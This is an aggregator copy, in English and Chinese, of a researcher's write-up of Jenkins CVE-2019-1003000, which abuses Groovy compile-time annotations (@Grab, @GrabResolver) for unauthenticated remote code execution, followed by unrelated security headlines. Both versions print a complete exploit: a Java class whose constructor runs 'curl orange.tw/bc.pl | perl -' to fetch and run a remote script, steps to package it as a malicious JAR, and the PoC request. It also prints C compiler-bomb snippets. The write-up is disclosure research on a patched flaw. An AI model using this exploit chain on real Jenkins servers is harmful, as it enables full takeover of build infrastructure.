Aggregator
Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!(EN)
Hello everyone!
This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check the following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!
As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things :(
After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading :)
First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)
In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!
As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:
public JSON doCheckScriptCompile(@QueryParameter String value) { try { CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build(); new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value); } catch (CompilationFailedException x) { return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray()); } return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON(); // Approval requirements are managed by regular stapler form validation (via doCheckScript) }Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing :(
this.class.classLoader.parseClass(''' print java.lang.Runtime.getRuntime().exec("id") ''');From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!
Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!
If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:
- C Macro
- C++ Template
- Java Annotation
- Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
- DSL(Domain Specific Languages, such as Sinatra and Gradle)
When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!
P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2 P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>
From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?
There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as the macro expansion in C language:
#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 #define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a #define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b #define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c #define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d #define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e __int128 x[]={f,f,f,f,f,f,f,f};or the compiler resource bomb(make a 16GB ELF by just 18 bytes):
int main[-1u]={1};or calculating the Fibonacci number by compiler
template<int n> struct fib { static const int value = fib<n-1>::value + fib<n-2>::value; }; template<> struct fib<0> { static const int value = 0; }; template<> struct fib<1> { static const int value = 1; }; int main() { int a = fib<10>::value; // 55 int b = fib<20>::value; // 6765 int c = fib<40>::value; // 102334155 }From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!
$ g++ template.cpp -o template $ objdump -M intel -d template ... 00000000000005fa <main>: 5fa: 55 push rbp 5fb: 48 89 e5 mov rbp,rsp 5fe: c7 45 f4 37 00 00 00 mov DWORD PTR [rbp-0xc],0x37 605: c7 45 f8 6d 1a 00 00 mov DWORD PTR [rbp-0x8],0x1a6d 60c: c7 45 fc cb 7e 19 06 mov DWORD PTR [rbp-0x4],0x6197ecb 613: b8 00 00 00 00 mov eax,0x0 618: 5d pop rbp 619: c3 ret 61a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] ...For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!
Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description:
@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:
What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:
this.class.classLoader.parseClass(''' @groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("touch pwned") }) def x '''); $ ls poc.groovy $ groovy poc.groovy $ ls poc.groovy pwnedCool, it works! However, while reproducing this on the remote Jenkins, it shows:
unable to resolve class org.jenkinsci.plugins.workflow.libs.Library
What the hell!!! What’s wrong with that?
With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs!
How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!
We continued reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine!
Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:
@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE') import org.springframework.jdbc.core.JdbcTemplateBy using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands!
However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver:
@GrabResolver(name='restlet', root='http://maven.restlet.org/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restletIf you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment:
this.class.classLoader.parseClass(''' @GrabResolver(name='restlet', root='http://orange.tw/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet ''') 11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?
In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?
By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!
void processOtherServices(ClassLoader loader, File f) { try { ZipFile zf = new ZipFile(f) ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods") if (serializedCategoryMethods != null) { processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods)) } ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners") if (pluginRunners != null) { processRunners(zf.getInputStream(pluginRunners), f.getName(), loader) } } catch(ZipException ignore) { // ignore files we can't process, e.g. non-jar/zip artifacts // TODO log a warning } }JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this:
void processRunners(InputStream is, String name, ClassLoader loader) { is.text.readLines().each { GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance() } }Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code!
Here is the full exploit:
public class Orange { public Orange(){ try { String payload = "curl orange.tw/bc.pl | perl -"; String[] cmds = {"/bin/bash", "-c", payload}; java.lang.Runtime.getRuntime().exec(cmds); } catch (Exception e) { } } } $ javac Orange.java $ mkdir -p META-INF/services/ $ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners $ find . ./Orange.java ./Orange.class ./META-INF ./META-INF/services ./META-INF/services/org.codehaus.groovy.plugins.Runners $ jar cvf poc-1.jar tw/ $ cp poc-1.jar ~/www/tw/orange/poc/1/ $ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar HTTP/1.1 200 OK Date: Sat, 02 Feb 2019 11:10:55 GMT ...PoC:
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange;Video:
With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!
Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!
Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain :P
Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future :)
Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
嗨! 大家今天過得好嗎?
這篇文章是 Hacking Jenkins 系列的下集! 給那些還沒看過上篇文章的同學,可以訪問下面鏈結,補充一些基本知識及了解之前如何從 Jenkins 中的動態路由機制到串出各種不同的攻擊鏈!
如上篇文章所說,為了最大程度發揮漏洞的效果,想尋找一個代碼執行的漏洞可以與 ACL 繞過漏洞搭配,成為一個不用認證的遠端代碼執行! 不過在最初的嘗試中失敗了,由於動態路由機制的特性,Jenkins 在遇到一些危險操作時(如 Script Console)都會再次的檢查權限! 導致就算可以繞過最前面的 ACL 層依然無法做太多事情!
直到 Jenkins 在 2018-12-05 發佈的 Security Advisory 修復了前述我所回報的動態路由漏洞! 為了開始撰寫這份技術文章(Hacking Jenkins 系列文),我重新複習了一次當初進行代碼審查的筆記,當中對其中一個跳板(gadget)想到了一個不一樣的利用方式,因而有了這篇故事! 這也是近期我所寫過覺得比較有趣的漏洞之一,非常推薦可以仔細閱讀一下!
要解釋這次的漏洞 CVE-2019-1003000 必須要從 Pipeline 開始講起! 大部分開發者會選擇 Jenkins 作為 CI/CD 伺服器的其中一個原因是因為 Jenkins 提供了一個很強大的 Pipeline 功能,使開發者可以方便的去撰寫一些 Build Script 以完成自動化的編譯、測試及發佈! 你可以想像 Pipeline 就是一個小小的微語言可以去對 Jenkins 進行操作(而實際上 Pipeline 是基於 Groovy 的一個 DSL)
為了檢查使用者所撰寫的 Pipeline Script 有沒有語法上的錯誤(Syntax Error),Jenkins 提供了一個介面給使用者檢查自己的 Pipeline! 這裡你可以想像一下,如果你是程式設計師,你要如何去完成這個功能呢? 你可以自己實現一個語法樹(AST, Abstract Syntax Tree)解析器去完成這件事,不過這太累了,最簡單的方式當然是套用現成的東西!
前面提到,Pipeline 是基於 Groovy 所實現的一個 DSL,所以 Pipeline 必定也遵守著 Groovy 的語法! 所以最簡單的方式是,只要 Groovy 可以成功解析(parse),那就代表這份 Pipeline 的語法一定是對的! Jenkins 實作檢查的程式碼約是下面這樣子:
public JSON doCheckScriptCompile(@QueryParameter String value) { try { CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build(); new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value); } catch (CompilationFailedException x) { return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray()); } return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON(); // Approval requirements are managed by regular stapler form validation (via doCheckScript) }這裡使用了 GroovyClassLoader.parseClass(…) 去完成 Groovy 語法的解析! 值得注意的是,由於這只是一個 AST 的解析,在沒有執行 execute() 的方法前,任何危險的操作是不會被執行的,例如嘗試去解析這段 Groovy 代碼會發現其實什麼事都沒發生 :(
this.class.classLoader.parseClass(''' print java.lang.Runtime.getRuntime().exec("id") ''');從程式開發者的角度來看,Pipeline 可以操作 Jenkins 那一定很危險,因此要用嚴格的權限保護住! 但這只是一段簡單的語法錯誤檢查,而且呼叫到的地方很多,限制太嚴格的權限只會讓自己綁手綁腳的!
上面的觀點聽起來很合理,就只是一個 AST 的解析而且沒有任何 execute() 方法應該很安全,但恰巧這裡就成為了我們第一個入口點! 其實第一次看到這段代碼時,也想不出什麼利用方法就先跳過了,直到要開始撰寫技術文章重新溫習了一次,我想起了說不定 Meta-Programming 會有搞頭!
首先我們來解釋一下什麼是 Meta-Programming!
Meta-Programming 是一種程式設計的思維! Meta-Programming 的精髓在於提供了一個抽象層次給開發者用另外一種思維去撰寫更高靈活度及更高開發效率的代碼。其實 Meta-Programming 並沒有一個很嚴謹的定義,例如使用程式語言編譯所留下的 Metadata 去動態的產生程式碼,或是把程式自身當成資料,透過編譯器(compiler)或是直譯器(interpreter)去撰寫代碼都可以被說是一種 Meta-Programming! 而其中的哲學其實非常廣泛甚至已經可以被當成程式語言的一個章節來獨立探討!
大部分的文章或是書籍在解釋 Meta-Programming 的時候通常會這樣解釋:
用程式碼(code)產生程式碼(code)
如果還是很難理解,你可以想像程式語言中的 eval(...) 其實就是一種廣義上的 Meta-Programming! 雖然不甚精確,但用這個比喻可以快速的理解 Meta-Programming! 其實就是用程式碼(eval 這個函數)去產生程式碼(eval 出來的函數)! 在程式開發上,Meta-Programming 也有著極其多的應用,例如:
- C 語言中的 Macro
- C++ 的 Template
- Ruby (Ruby 本身就是一門將 Meta-Programming 發揮到極致的語言,甚至還有專門的書1, 書2)
- Java 的 Annotation 註解
- 各種 DSL(Domain Specific Language) 應用,例如 Sinatra 及 Gradle
而當我們在談論 Meta-Programming 時,依照作用的範圍我們大致分成 (1)編譯時期 及 (2)執行時期這兩種 Meta-Programming! 而我們今天的重點,就是在編譯時期的 Meta-Programming!
P.S. 我也不是一位 Programming Language 大師,如有不精確或者覺得教壞小朋友的地方再請多多包涵 <(_ _)>
從前面的段落中我們發現 Jenkins 使用 parseClass(…) 去檢查語法錯誤,我們也想起了 Meta-Programming 可在編譯時期對程式碼做一些動態的操作! 設計一個編譯器(或解析器)是一件很麻煩的事情,裡面會有各種骯髒的實作或是奇怪的功能,所以一個很直覺的想法就是,是否可以透過編譯器一些副作用(Side Effect)去完成一些事情呢?
舉幾個淺顯易懂的例子,如 C 語言巨集擴展所造成的資源耗盡
#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 #define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a #define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b #define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c #define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d #define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e __int128 x[]={f,f,f,f,f,f,f,f};編譯器的資源耗盡(用 18 bytes 產生 16G 的執行檔)
int main[-1u]={1};或是用編譯器來幫你算費式數列
template<int n> struct fib { static const int value = fib<n-1>::value + fib<n-2>::value; }; template<> struct fib<0> { static const int value = 0; }; template<> struct fib<1> { static const int value = 1; }; int main() { int a = fib<10>::value; // 55 int b = fib<20>::value; // 6765 int c = fib<40>::value; // 102334155 }從組合語言的結果可以看出這些值在編譯期間就被計算好填充進去,而不是執行期間!
$ g++ template.cpp -o template $ objdump -M intel -d template ... 00000000000005fa <main>: 5fa: 55 push rbp 5fb: 48 89 e5 mov rbp,rsp 5fe: c7 45 f4 37 00 00 00 mov DWORD PTR [rbp-0xc],0x37 605: c7 45 f8 6d 1a 00 00 mov DWORD PTR [rbp-0x8],0x1a6d 60c: c7 45 fc cb 7e 19 06 mov DWORD PTR [rbp-0x4],0x6197ecb 613: b8 00 00 00 00 mov eax,0x0 618: 5d pop rbp 619: c3 ret 61a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] ...更多的例子你可以參考 StackOverflow 上的 Build a Compiler Bomb 這篇文章!
回到我們的漏洞利用上,Pipeline 是基於 Groovy 上的一個 DSL 實作,而 Groovy 剛好就是一門對於 Meta-Programming 非常友善的語言! 翻閱著 Grovvy 官方的 Meta-Programming 手冊 開始尋找各種可以利用的方法! 在 2.1.9 章「測試協助」這個段落發現了 @groovy.transform.ASTTest 這個註解,仔細觀察它的敘述:
@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:
什麼! 可以在 AST 上執行一個 assertion? 這不就是我們要的嗎? 趕緊先在本地寫個 Proof-of-Concept 嘗試是否可行:
this.class.classLoader.parseClass(''' @groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("touch pwned") }) def x '''); $ ls poc.groovy $ groovy poc.groovy $ ls poc.groovy pwned幹,可以欸! 但代誌並不是憨人想的那麼簡單! 嘗試在遠端 Jenkins 重現時,出現了:
unable to resolve class org.jenkinsci.plugins.workflow.libs.Library
真是黑人問號,森77,這到底是三小啦!!!
認真追了一下 root cause 才發現是 Pipeline Shared Groovy Libraries Plugin 這個插件在作怪! 為了方便使用者可重複使用在編寫 Pipeline 常用到的功能,Jenkins 提供了這個插件可在 Pipeline 中引入自定義的函式庫! Jenkins 會在所有 Pipeline 執行前引入這個函式庫,而在編譯時期的 classPath 中並沒有相對應的函式庫因而導致了這個錯誤!
想解決這個問題很簡單,到 Jenkins Plugin Manager 中將 Pipeline Shared Groovy Libraries Plugin 移除即可解決這個問題並執行任意代碼!
不過這絕對不是最佳解! 這個插件會隨著 Pipeline 被自動安裝,為了要成功利用這個漏洞還得先要求管理員把它移除實在太蠢了! 因此這條路只能先打住,繼續尋找下一個方法!
繼續閱讀 Groovy Meta-Programming 手冊,我們發現了另一個有趣的註解 @Grab,關於 @Grab 手冊中並沒有詳細的描述,但使用 Google 我們發現了另一篇文章 - Dependency management with Grape!
原來 Grape(@Grab) 是一個 Groovy 內建的動態 JAR 相依性管理程式! 可讓開發者動態的引入不在 classPath 上的函式庫! Grape 的語法如下:
@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE') import org.springframework.jdbc.core.JdbcTemplate配合 @grab 的註解,可讓 Groovy 在編譯時期自動引入不存在於 classPath 中的 JAR 檔! 但如果你的目的只是要在一個有執行 Pipeline 權限的帳號上繞過原有 Pipeline 的 Sandbox 的話,這其實就足夠了! 例如你可以參考 @adamyordan 所提供的 PoC,在已知使用者帳號與密碼及權限足夠的情況下,達到遠端代碼執行的效果!
但在沒有帳號密碼及 execute() 的方法下,這只是一個簡單的語法樹解析器,你甚至無法控制遠端伺服器上的檔案,所以該怎麼辦呢? 我們繼續研究下去,並發現了一個很有趣的註解叫做 @GrabResolver,用法如下:
@GrabResolver(name='restlet', root='http://maven.restlet.org/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet看到這個,聰明的你應該會很想把 root 改成惡意網址對吧! 我們來試試會怎麼樣吧!
this.class.classLoader.parseClass(''' @GrabResolver(name='restlet', root='http://orange.tw/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet ''') 11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"喔幹,真的會來存取欸! 到這裡我們已經確信了透過 Grape 可以讓 Jenkins 引入惡意的函式庫! 但下一個問題是,要如何執行代碼呢?
在漏洞的利用中總是在研究如何從簡單的任意讀、任意寫到取得系統執行的權限! 從前面的例子中,我們已經可以透過 Grape 去寫入惡意的 JAR 檔到遠端伺服器,但要怎麼執行這個 JAR 檔呢? 這又是另一個問題!
跟進 Groovy 語言核心查看對於 Grape 的實作,我們知道網路層的抓取是透過 groovy.grape.GrapeIvy 這個類別來完成! 所以開始尋找實作中是否有任何可以執行代碼的機會! 其中,我們看到了一個有趣的方法 - processOtherServices(…):
void processOtherServices(ClassLoader loader, File f) { try { ZipFile zf = new ZipFile(f) ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods") if (serializedCategoryMethods != null) { processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods)) } ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners") if (pluginRunners != null) { processRunners(zf.getInputStream(pluginRunners), f.getName(), loader) } } catch(ZipException ignore) { // ignore files we can't process, e.g. non-jar/zip artifacts // TODO log a warning } }由於 JAR 檔案其實就是一個 ZIP 壓縮格式的子集,Grape 會檢查檔案中是否存在一些指定的入口點,其中一個 Runner 的入口點檢查引起了我們的興趣,持續跟進 processRunners(…) 的實作我們發現:
void processRunners(InputStream is, String name, ClassLoader loader) { is.text.readLines().each { GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance() } }這裡的 newInstance() 不就代表著可以呼叫到任意類別的 Constructor 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔,把要執行的類別全名放至 META-INF/services/org.codehaus.groovy.plugins.Runners 中即可呼叫指定類別的Constructor 去執行任意代碼! 完整的漏洞利用過程如下:
public class Orange { public Orange(){ try { String payload = "curl orange.tw/bc.pl | perl -"; String[] cmds = {"/bin/bash", "-c", payload}; java.lang.Runtime.getRuntime().exec(cmds); } catch (Exception e) { } } } $ javac Orange.java $ mkdir -p META-INF/services/ $ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners $ find . ./Orange.java ./Orange.class ./META-INF ./META-INF/services ./META-INF/services/org.codehaus.groovy.plugins.Runners $ jar cvf poc-1.jar tw/ $ cp poc-1.jar ~/www/tw/orange/poc/1/ $ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar HTTP/1.1 200 OK Date: Sat, 02 Feb 2019 11:10:55 GMT ...PoC:
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange;影片:
到此,我們已經可以完整的控制遠端伺服器! 透過 Meta-Programming 在語法樹解析時期去引入惡意的 JAR 檔,再透過 Java 的 Static Initializer 特性去執行任意指令! 雖然 Jenkins 有內建的 Groovy Sandbox(Script Security Plugin),但這個漏洞是在編譯階段而非執行階段,導致 Sandbox 毫無用武之處!
由於這是對於 Groovy 底層的一種攻擊方式,因此只要是所有可以碰觸到 Groovy 解析的地方皆有可能有漏洞產生! 而這也是這個漏洞好玩的地方,打破了一般開發者認為沒有執行就不會有問題的思維,對攻擊者來說也用了一個沒有電腦科學的理論知識背景不會知道的方法攻擊! 不然你根本不會想到 Meta-Programming! 除了我回報的 doCheckScriptCompile(...) 與 toJson(...) 兩個進入點外,在漏洞被修復後,Mikhail Egorov 也很快的找到了另外一個進入點去觸發這個漏洞!
除此之外,這個漏洞更可以與我前一篇 Hacking Jenkins Part 1 所發現的漏洞串起來,去繞過 Overall/Read 的限制成為一個名符其實不用認證的遠端代碼執行漏洞!(如果你有好好的讀完這兩篇文章,應該對你不是難事XD) 至於有沒有更多的玩法? 就交給大家自由發揮串出自己的攻擊鏈囉!
感謝大家的閱讀,Hacking Jenkins 系列文就在這裡差不多先告一個段落囉! 未來將會再發表更多有趣的技術研究敬請期待!
EDR检测持久化Persistence入门
glibc system call wrapper
You're Opted in by Default - Know When and Where to Opt Out
《故事》学习笔记 | Charpter17 人物
Cyber resilience - nothing to sneeze at
Protecting system administration with PAM
How to Detect Pass-the-Hash Attacks Blog Series
Jeff Warren really knows AD security and the Windows Security Log. He brings me a lot of good ideas and tips for enhancing my Security Log Encyclopedia. He also really stays up-to-date on the latest cyber attack techniques and thinks about how to detect them with the Security Log, Sysmon and other logs in the AD/Windows environment. Check out his latest blog post on detecting pass-the-hash with Windows event logs here: https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/
This is the first in a three part series so stay tuned for the rest.
From the Dojo to the SOC
Preparing for denial of service (DoS) attacks
vsyscall and vDSO
Developing the cyber security profession – have your say!
Managing the risk of cloud-enabled products
GDPR security outcomes
February 2019 Security Update Release
February 2019 Security Update Release
Revisiting How Registrants Can Reduce the Threat of Domain Hijacking
Recent events1,2 have shown the threat of domain hijacking is very real; however, it is also largely preventable. As Verisign previously noted3, there are many security controls that registrants can utilize to help strengthen their security posture. Verisign would like to reiterate this advice within the context of the recent domain hijacking reports. Domains are […]
The post Revisiting How Registrants Can Reduce the Threat of Domain Hijacking appeared first on Verisign Blog.